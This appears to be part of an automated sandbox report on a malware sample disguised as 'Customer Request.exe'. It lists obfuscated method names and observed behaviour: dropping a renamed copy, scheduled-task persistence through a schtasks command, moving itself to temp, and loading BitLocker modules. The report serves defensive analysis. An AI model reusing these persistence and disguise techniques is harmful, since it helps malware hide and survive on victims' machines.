Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, MKTCX2WxWtgjxOuELw.cs	High entropy of concatenated method names: 'pCKyItwBiL', 'O1Uy6jlNXO', 'NF5yrD8ORo', 'Xvcy00W9bl', 'iFKyjRD0D0', 'xTcrVl4JgE', 'ke0rNvSQaZ', 'KxurxGPpfZ', 'rParBknmXA', 'keirmAHEvu'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, ae0uF1mjLay0CmtTyL.cs	High entropy of concatenated method names: 'Dn08WiZOBj', 'VOg8laJbJD', 'B4c81gh8Tn', 'ESg8oLpE8B', 'UKJ8Ff4x2v', 'aLe8t8uwHI', 'i1u8Re4S1Y', 'l6f8QatBgg', 'XwD8i1wCNH', 'zkY8b8NEXb'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, Yj3H6mYy1Ppbqq7ICB.cs	High entropy of concatenated method names: 'sqqc0qMLXp', 'g8acjnp44v', 'LobcfPJH1i', 'zO5cJgTTcn', 'xggc9l5iKT', 'nX2cKxWtgj', 'fFkKLklBuSt4kUtSsM', 'fuv58yiQhrJGZxxk1C', 'rVJccJvRRD', 'W5NcPaLqVh'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, voPa4KNBAHLu7NiUhY.cs	High entropy of concatenated method names: 'iAGOBpnepM', 'r5QOe4Vymd', 'aBm35XyCUB', 'JLw3cxy2Rb', 'JSLO7bftSD', 'AYgOZ8LEPb', 'QriOGPwdII', 'EHVOsWwhtR', 'Cw0OEepUaq', 'Ib6OkZ8qAh'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, eigfv4x9C1nfUEfUG5.cs	High entropy of concatenated method names: 'f6G89siqHV', 'ers8Osmx04', 'PAO88eFEcV', 'eUm82d5W6Y', 'Dtn8XlL45i', 'W7w8UpTBBs', 'Dispose', 'UTu3uKKAij', 'nA436uVP10', 'G3q3a7Ljmt'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, l3KgVTaQOpQLbPQ7Vd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'CVwnmXGfuk', 'uxgneF3sGS', 'o7wnz2B7rS', 'YCNP5lkVF3', 'Q5pPcGFem1', 'Ww0Pnm4ANC', 'jYNPPC2ETv', 'NhDcgnRafqyVPlIpU3d'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, TZrpZ4RP1a6x3HlVwy.cs	High entropy of concatenated method names: 'rtQ0uG5eT3', 'nCc0aWAEjc', 'Sq40yFHxZE', 'Vi6yesWZyG', 'DAayztlnSm', 'dnL05ILylX', 'C5u0cXtp9A', 'H3a0nxd0rC', 'VsH0Pkf7R1', 'jC20YfaaNR'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, eF83cRcY6Eg33QpsSPn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NhxA8x9o7C', 'X84ASdUKf6', 'Fb4A2J5B6f', 'I9HAAmKiiq', 'Ty6AXswBQF', 'rT3ADASovC', 'ePnAUq3uS0'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, EqMLXp468anp44vyd9.cs	High entropy of concatenated method names: 'SxT6s0AFmK', 'HAB6Ei0QYN', 'k4x6kna052', 'eSd6pbsEx2', 'Oiw6Vx07w0', 'XOH6N5K9u2', 'gom6xPHbc4', 'QuH6BgpFGx', 'j3x6mwfccC', 'DAV6ecNQyL'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, pgNG05o8KRp2IrkESO.cs	High entropy of concatenated method names: 'fePyUy3x0c', 'WLAywjqVtq', 'HRYyTeIkv3', 'ftryvhj1y4', 'i9fyg50XNo', 'zdeyMsPEvE', 'm28yqb7jHc', 'gkOyHPTKeQ', 'IxnTM1FbxaTKR26JOCM', 'rP2QssF3lQD00dffJw3'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, LSj5QTGLmePXRUoOpu.cs	High entropy of concatenated method names: 'Y1IC4e9TMO', 'I3QCq412j9', 'W00CWTs1pm', 'BYHClXoFs7', 'GAGCoEQ17R', 'gh0CFrOe7s', 'vUWCR9TuP4', 'nn0CQlcS8h', 'YemCbakB7c', 'ET2C7Tx0BK'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, lpRipOnrG8qpZxZ10k.cs	High entropy of concatenated method names: 'LjqTceHBW', 'NJevmCc7Z', 'SPhgHdISO', 'apwMesxvG', 'UX9q6qMul', 'RxUHIW8s3', 'QeDpaTrEuoVoVwiTZ8', 'bGViOJddVf9Emfyphw', 'yIt3fkshy', 'ORYSv1xNC'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, hleLjQqobPJH1iTO5g.cs	High entropy of concatenated method names: 'dHVavvS7Kx', 'dIUagGZcrU', 'a7Ka4CUNq6', 'RC4aqVN00F', 'lFea9jXgh3', 'VHZaKdXXOy', 'EXKaOptlIU', 'AEga3qj5GT', 'xlQa8UfEBs', 'OgnaSbiRLm'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, Lw2SpOc5C8xC14K5eyu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mhsS7PHfLV', 'ylbSZREJxg', 'tKsSGbFHRQ', 'rdgSsCuRS7', 'oAKSELiUVa', 'Lj4Sk2DjfX', 'PuKSp8rTGL'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, VDpgCYcPsRT7I193x5H.cs	High entropy of concatenated method names: 'Gr52e42U75', 'QiA2zqfryx', 'pw3A50cRQK', 'njxWXwgPjxwfF4EwWu4', 'UVwkBngq5OZUHAeECG7', 'h9mYTKg10xqUbyEtQZo', 'ULEjAtg5PkEDQO6Vyl2', 'WlMv0sgtN1wRrX4O9C5'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, Y2ncPE6QhKHr2reXlY.cs	High entropy of concatenated method names: 'Dispose', 'HnfcmUEfUG', 'UaTnlmSIyD', 'RNVLRMiOkb', 'aBicet0tEK', 'Y3HczJybVM', 'ProcessDialogKey', 'uI5n5e0uF1', 'kLancy0Cmt', 'zyLnnN6b0Q'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, EyRq7giU4A3bn2IwLa.cs	High entropy of concatenated method names: 'nTb0wDZtN7', 'jUT0dvUVuW', 'AUg0T8dP7n', 'w5f0vCN3Kn', 'YyF0h3EU23', 'Rnp0gx8nTd', 'GFY0MY29uQ', 'WUP04xuyud', 's2W0q2qhbW', 'ItB0H2o8TE'
Source: 0.2.Customer Request.exe.4454fe0.3.raw.unpack, k4ceGZkW8oS0OdyGo0.cs	High entropy of concatenated method names: 'ToString', 'feJK7Uin1m', 'FKBKlV8ern', 'SBIK1htgX1', 'Df1KosL5p8', 'IOnKF3yAq1', 'pJtKtM1rYy', 'h3EKRQDAOk', 'RIBKQbe4cT', 'KGcKiQnRme'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, nwa3brccgEIZB7CI0Yl.cs	High entropy of concatenated method names: 'u9cSeX3WEQ', 'b8LSzlTOAc', 'oP025LniZm', 'XTY2c9pYTy', 'htI2n9xkHM', 'NCO2P87bGf', 'YnZ2YKPHlq', 'aMw2I3XZRP', 'vsr2uqGq4f', 'nPo26gq66F'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, U6b0Q7eVMSchg0E0I1.cs	High entropy of concatenated method names: 'ySQSaxnYuG', 'DbnSr5iCl5', 'NmmSybifIw', 'WgcS019Esb', 'BDqS8385GS', 'LW4Sj4X3gn', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, zTcnkLHLej3bfwggl5.cs	High entropy of concatenated method names: 'dQNrhNstWE', 'pperM4rk1q', 'ccOa12nvqU', 'PjlaoIyYsZ', 'E3TaF9jsJ9', 'jZaatET0hq', 'c2GaRaI1sZ', 'wunaQIJuLD', 'GeRainDDCE', 'gOaabXA1Is'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, frwa3jjtrF5QwZLvOa.cs	High entropy of concatenated method names: 'EAYPILJFaE', 'sABPu5lPI8', 'CvuP6yMuvL', 'aOEPaO0X8Y', 'fHoPrF9Mac', 'MLnPyJoaQR', 'BUvP0sypIR', 'GgbPjmdtFr', 'MtsPLhdEgD', 'N4dPfDvhmI'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, MKTCX2WxWtgjxOuELw.cs	High entropy of concatenated method names: 'pCKyItwBiL', 'O1Uy6jlNXO', 'NF5yrD8ORo', 'Xvcy00W9bl', 'iFKyjRD0D0', 'xTcrVl4JgE', 'ke0rNvSQaZ', 'KxurxGPpfZ', 'rParBknmXA', 'keirmAHEvu'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, ae0uF1mjLay0CmtTyL.cs	High entropy of concatenated method names: 'Dn08WiZOBj', 'VOg8laJbJD', 'B4c81gh8Tn', 'ESg8oLpE8B', 'UKJ8Ff4x2v', 'aLe8t8uwHI', 'i1u8Re4S1Y', 'l6f8QatBgg', 'XwD8i1wCNH', 'zkY8b8NEXb'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, Yj3H6mYy1Ppbqq7ICB.cs	High entropy of concatenated method names: 'sqqc0qMLXp', 'g8acjnp44v', 'LobcfPJH1i', 'zO5cJgTTcn', 'xggc9l5iKT', 'nX2cKxWtgj', 'fFkKLklBuSt4kUtSsM', 'fuv58yiQhrJGZxxk1C', 'rVJccJvRRD', 'W5NcPaLqVh'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, voPa4KNBAHLu7NiUhY.cs	High entropy of concatenated method names: 'iAGOBpnepM', 'r5QOe4Vymd', 'aBm35XyCUB', 'JLw3cxy2Rb', 'JSLO7bftSD', 'AYgOZ8LEPb', 'QriOGPwdII', 'EHVOsWwhtR', 'Cw0OEepUaq', 'Ib6OkZ8qAh'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, eigfv4x9C1nfUEfUG5.cs	High entropy of concatenated method names: 'f6G89siqHV', 'ers8Osmx04', 'PAO88eFEcV', 'eUm82d5W6Y', 'Dtn8XlL45i', 'W7w8UpTBBs', 'Dispose', 'UTu3uKKAij', 'nA436uVP10', 'G3q3a7Ljmt'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, l3KgVTaQOpQLbPQ7Vd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'CVwnmXGfuk', 'uxgneF3sGS', 'o7wnz2B7rS', 'YCNP5lkVF3', 'Q5pPcGFem1', 'Ww0Pnm4ANC', 'jYNPPC2ETv', 'NhDcgnRafqyVPlIpU3d'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, TZrpZ4RP1a6x3HlVwy.cs	High entropy of concatenated method names: 'rtQ0uG5eT3', 'nCc0aWAEjc', 'Sq40yFHxZE', 'Vi6yesWZyG', 'DAayztlnSm', 'dnL05ILylX', 'C5u0cXtp9A', 'H3a0nxd0rC', 'VsH0Pkf7R1', 'jC20YfaaNR'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, eF83cRcY6Eg33QpsSPn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NhxA8x9o7C', 'X84ASdUKf6', 'Fb4A2J5B6f', 'I9HAAmKiiq', 'Ty6AXswBQF', 'rT3ADASovC', 'ePnAUq3uS0'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, EqMLXp468anp44vyd9.cs	High entropy of concatenated method names: 'SxT6s0AFmK', 'HAB6Ei0QYN', 'k4x6kna052', 'eSd6pbsEx2', 'Oiw6Vx07w0', 'XOH6N5K9u2', 'gom6xPHbc4', 'QuH6BgpFGx', 'j3x6mwfccC', 'DAV6ecNQyL'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, pgNG05o8KRp2IrkESO.cs	High entropy of concatenated method names: 'fePyUy3x0c', 'WLAywjqVtq', 'HRYyTeIkv3', 'ftryvhj1y4', 'i9fyg50XNo', 'zdeyMsPEvE', 'm28yqb7jHc', 'gkOyHPTKeQ', 'IxnTM1FbxaTKR26JOCM', 'rP2QssF3lQD00dffJw3'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, LSj5QTGLmePXRUoOpu.cs	High entropy of concatenated method names: 'Y1IC4e9TMO', 'I3QCq412j9', 'W00CWTs1pm', 'BYHClXoFs7', 'GAGCoEQ17R', 'gh0CFrOe7s', 'vUWCR9TuP4', 'nn0CQlcS8h', 'YemCbakB7c', 'ET2C7Tx0BK'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, lpRipOnrG8qpZxZ10k.cs	High entropy of concatenated method names: 'LjqTceHBW', 'NJevmCc7Z', 'SPhgHdISO', 'apwMesxvG', 'UX9q6qMul', 'RxUHIW8s3', 'QeDpaTrEuoVoVwiTZ8', 'bGViOJddVf9Emfyphw', 'yIt3fkshy', 'ORYSv1xNC'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, hleLjQqobPJH1iTO5g.cs	High entropy of concatenated method names: 'dHVavvS7Kx', 'dIUagGZcrU', 'a7Ka4CUNq6', 'RC4aqVN00F', 'lFea9jXgh3', 'VHZaKdXXOy', 'EXKaOptlIU', 'AEga3qj5GT', 'xlQa8UfEBs', 'OgnaSbiRLm'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, Lw2SpOc5C8xC14K5eyu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mhsS7PHfLV', 'ylbSZREJxg', 'tKsSGbFHRQ', 'rdgSsCuRS7', 'oAKSELiUVa', 'Lj4Sk2DjfX', 'PuKSp8rTGL'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, VDpgCYcPsRT7I193x5H.cs	High entropy of concatenated method names: 'Gr52e42U75', 'QiA2zqfryx', 'pw3A50cRQK', 'njxWXwgPjxwfF4EwWu4', 'UVwkBngq5OZUHAeECG7', 'h9mYTKg10xqUbyEtQZo', 'ULEjAtg5PkEDQO6Vyl2', 'WlMv0sgtN1wRrX4O9C5'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, Y2ncPE6QhKHr2reXlY.cs	High entropy of concatenated method names: 'Dispose', 'HnfcmUEfUG', 'UaTnlmSIyD', 'RNVLRMiOkb', 'aBicet0tEK', 'Y3HczJybVM', 'ProcessDialogKey', 'uI5n5e0uF1', 'kLancy0Cmt', 'zyLnnN6b0Q'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, EyRq7giU4A3bn2IwLa.cs	High entropy of concatenated method names: 'nTb0wDZtN7', 'jUT0dvUVuW', 'AUg0T8dP7n', 'w5f0vCN3Kn', 'YyF0h3EU23', 'Rnp0gx8nTd', 'GFY0MY29uQ', 'WUP04xuyud', 's2W0q2qhbW', 'ItB0H2o8TE'
Source: 0.2.Customer Request.exe.44b9a00.2.raw.unpack, k4ceGZkW8oS0OdyGo0.cs	High entropy of concatenated method names: 'ToString', 'feJK7Uin1m', 'FKBKlV8ern', 'SBIK1htgX1', 'Df1KosL5p8', 'IOnKF3yAq1', 'pJtKtM1rYy', 'h3EKRQDAOk', 'RIBKQbe4cT', 'KGcKiQnRme'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, nwa3brccgEIZB7CI0Yl.cs	High entropy of concatenated method names: 'u9cSeX3WEQ', 'b8LSzlTOAc', 'oP025LniZm', 'XTY2c9pYTy', 'htI2n9xkHM', 'NCO2P87bGf', 'YnZ2YKPHlq', 'aMw2I3XZRP', 'vsr2uqGq4f', 'nPo26gq66F'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, U6b0Q7eVMSchg0E0I1.cs	High entropy of concatenated method names: 'ySQSaxnYuG', 'DbnSr5iCl5', 'NmmSybifIw', 'WgcS019Esb', 'BDqS8385GS', 'LW4Sj4X3gn', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, zTcnkLHLej3bfwggl5.cs	High entropy of concatenated method names: 'dQNrhNstWE', 'pperM4rk1q', 'ccOa12nvqU', 'PjlaoIyYsZ', 'E3TaF9jsJ9', 'jZaatET0hq', 'c2GaRaI1sZ', 'wunaQIJuLD', 'GeRainDDCE', 'gOaabXA1Is'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, frwa3jjtrF5QwZLvOa.cs	High entropy of concatenated method names: 'EAYPILJFaE', 'sABPu5lPI8', 'CvuP6yMuvL', 'aOEPaO0X8Y', 'fHoPrF9Mac', 'MLnPyJoaQR', 'BUvP0sypIR', 'GgbPjmdtFr', 'MtsPLhdEgD', 'N4dPfDvhmI'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, MKTCX2WxWtgjxOuELw.cs	High entropy of concatenated method names: 'pCKyItwBiL', 'O1Uy6jlNXO', 'NF5yrD8ORo', 'Xvcy00W9bl', 'iFKyjRD0D0', 'xTcrVl4JgE', 'ke0rNvSQaZ', 'KxurxGPpfZ', 'rParBknmXA', 'keirmAHEvu'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, ae0uF1mjLay0CmtTyL.cs	High entropy of concatenated method names: 'Dn08WiZOBj', 'VOg8laJbJD', 'B4c81gh8Tn', 'ESg8oLpE8B', 'UKJ8Ff4x2v', 'aLe8t8uwHI', 'i1u8Re4S1Y', 'l6f8QatBgg', 'XwD8i1wCNH', 'zkY8b8NEXb'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, Yj3H6mYy1Ppbqq7ICB.cs	High entropy of concatenated method names: 'sqqc0qMLXp', 'g8acjnp44v', 'LobcfPJH1i', 'zO5cJgTTcn', 'xggc9l5iKT', 'nX2cKxWtgj', 'fFkKLklBuSt4kUtSsM', 'fuv58yiQhrJGZxxk1C', 'rVJccJvRRD', 'W5NcPaLqVh'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, voPa4KNBAHLu7NiUhY.cs	High entropy of concatenated method names: 'iAGOBpnepM', 'r5QOe4Vymd', 'aBm35XyCUB', 'JLw3cxy2Rb', 'JSLO7bftSD', 'AYgOZ8LEPb', 'QriOGPwdII', 'EHVOsWwhtR', 'Cw0OEepUaq', 'Ib6OkZ8qAh'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, eigfv4x9C1nfUEfUG5.cs	High entropy of concatenated method names: 'f6G89siqHV', 'ers8Osmx04', 'PAO88eFEcV', 'eUm82d5W6Y', 'Dtn8XlL45i', 'W7w8UpTBBs', 'Dispose', 'UTu3uKKAij', 'nA436uVP10', 'G3q3a7Ljmt'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, l3KgVTaQOpQLbPQ7Vd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'CVwnmXGfuk', 'uxgneF3sGS', 'o7wnz2B7rS', 'YCNP5lkVF3', 'Q5pPcGFem1', 'Ww0Pnm4ANC', 'jYNPPC2ETv', 'NhDcgnRafqyVPlIpU3d'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, TZrpZ4RP1a6x3HlVwy.cs	High entropy of concatenated method names: 'rtQ0uG5eT3', 'nCc0aWAEjc', 'Sq40yFHxZE', 'Vi6yesWZyG', 'DAayztlnSm', 'dnL05ILylX', 'C5u0cXtp9A', 'H3a0nxd0rC', 'VsH0Pkf7R1', 'jC20YfaaNR'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, eF83cRcY6Eg33QpsSPn.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NhxA8x9o7C', 'X84ASdUKf6', 'Fb4A2J5B6f', 'I9HAAmKiiq', 'Ty6AXswBQF', 'rT3ADASovC', 'ePnAUq3uS0'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, EqMLXp468anp44vyd9.cs	High entropy of concatenated method names: 'SxT6s0AFmK', 'HAB6Ei0QYN', 'k4x6kna052', 'eSd6pbsEx2', 'Oiw6Vx07w0', 'XOH6N5K9u2', 'gom6xPHbc4', 'QuH6BgpFGx', 'j3x6mwfccC', 'DAV6ecNQyL'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, pgNG05o8KRp2IrkESO.cs	High entropy of concatenated method names: 'fePyUy3x0c', 'WLAywjqVtq', 'HRYyTeIkv3', 'ftryvhj1y4', 'i9fyg50XNo', 'zdeyMsPEvE', 'm28yqb7jHc', 'gkOyHPTKeQ', 'IxnTM1FbxaTKR26JOCM', 'rP2QssF3lQD00dffJw3'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, LSj5QTGLmePXRUoOpu.cs	High entropy of concatenated method names: 'Y1IC4e9TMO', 'I3QCq412j9', 'W00CWTs1pm', 'BYHClXoFs7', 'GAGCoEQ17R', 'gh0CFrOe7s', 'vUWCR9TuP4', 'nn0CQlcS8h', 'YemCbakB7c', 'ET2C7Tx0BK'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, lpRipOnrG8qpZxZ10k.cs	High entropy of concatenated method names: 'LjqTceHBW', 'NJevmCc7Z', 'SPhgHdISO', 'apwMesxvG', 'UX9q6qMul', 'RxUHIW8s3', 'QeDpaTrEuoVoVwiTZ8', 'bGViOJddVf9Emfyphw', 'yIt3fkshy', 'ORYSv1xNC'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, hleLjQqobPJH1iTO5g.cs	High entropy of concatenated method names: 'dHVavvS7Kx', 'dIUagGZcrU', 'a7Ka4CUNq6', 'RC4aqVN00F', 'lFea9jXgh3', 'VHZaKdXXOy', 'EXKaOptlIU', 'AEga3qj5GT', 'xlQa8UfEBs', 'OgnaSbiRLm'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, Lw2SpOc5C8xC14K5eyu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mhsS7PHfLV', 'ylbSZREJxg', 'tKsSGbFHRQ', 'rdgSsCuRS7', 'oAKSELiUVa', 'Lj4Sk2DjfX', 'PuKSp8rTGL'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, VDpgCYcPsRT7I193x5H.cs	High entropy of concatenated method names: 'Gr52e42U75', 'QiA2zqfryx', 'pw3A50cRQK', 'njxWXwgPjxwfF4EwWu4', 'UVwkBngq5OZUHAeECG7', 'h9mYTKg10xqUbyEtQZo', 'ULEjAtg5PkEDQO6Vyl2', 'WlMv0sgtN1wRrX4O9C5'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, Y2ncPE6QhKHr2reXlY.cs	High entropy of concatenated method names: 'Dispose', 'HnfcmUEfUG', 'UaTnlmSIyD', 'RNVLRMiOkb', 'aBicet0tEK', 'Y3HczJybVM', 'ProcessDialogKey', 'uI5n5e0uF1', 'kLancy0Cmt', 'zyLnnN6b0Q'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, EyRq7giU4A3bn2IwLa.cs	High entropy of concatenated method names: 'nTb0wDZtN7', 'jUT0dvUVuW', 'AUg0T8dP7n', 'w5f0vCN3Kn', 'YyF0h3EU23', 'Rnp0gx8nTd', 'GFY0MY29uQ', 'WUP04xuyud', 's2W0q2qhbW', 'ItB0H2o8TE'
Source: 0.2.Customer Request.exe.b670000.5.raw.unpack, k4ceGZkW8oS0OdyGo0.cs	High entropy of concatenated method names: 'ToString', 'feJK7Uin1m', 'FKBKlV8ern', 'SBIK1htgX1', 'Df1KosL5p8', 'IOnKF3yAq1', 'pJtKtM1rYy', 'h3EKRQDAOk', 'RIBKQbe4cT', 'KGcKiQnRme'

Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	File created: C:\Users\user\AppData\Local\Temp\tmpG548.tmp (copy)			Jump to dropped file
Source: C:\Users\user\Desktop\Customer Request.exe	File created: C:\Users\user\AppData\Roaming\gCFuOglEso.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\Customer Request.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\gCFuOglEso" /XML "C:\Users\user\AppData\Local\Temp\tmpBA61.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Moves itself to temp directory

Source: c:\users\user\desktop\customer request.exe

File moved: C:\Users\user\AppData\Local\Temp\tmpG103.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Customer Request.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\gCFuOglEso.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Customer Request.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
